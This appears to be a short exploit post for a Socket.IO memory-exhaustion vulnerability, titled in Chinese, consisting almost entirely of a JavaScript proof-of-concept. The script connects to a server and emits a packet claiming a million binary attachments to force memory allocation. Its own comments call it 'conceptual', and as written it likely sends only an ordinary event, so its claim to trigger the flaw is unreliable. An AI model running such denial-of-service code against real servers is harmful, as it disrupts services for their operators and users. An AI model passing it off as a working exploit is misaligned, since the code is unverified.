CVE-2026-33151 Socket.IO内存耗尽漏洞

const io = require('socket.io-client'); // Target vulnerable Socket.IO server const targetUrl = 'http://localhost:3000'; const socket = io(targetUrl); socket.on('connect', () => { console.log('[+] Connected to server. Sending malicious packet...'); // Create a malicious payload claiming to have a large number of binary attachments // The server will allocate memory for these attachments but they might never arrive or be huge. const maliciousPacket = { type: 'binary', data: 'exploit', // This number triggers the buffer allocation on the server side num: 1000000 }; // In a real exploit, this would involve crafting the raw Socket.IO packet // to declare the number of binary items specifically. // This is a conceptual representation of the trigger. socket.emit('message', maliciousPacket); console.log('[+] Malicious packet sent. Check server memory usage.'); }); socket.on('disconnect', () => { console.log('[-] Disconnected from server.'); });
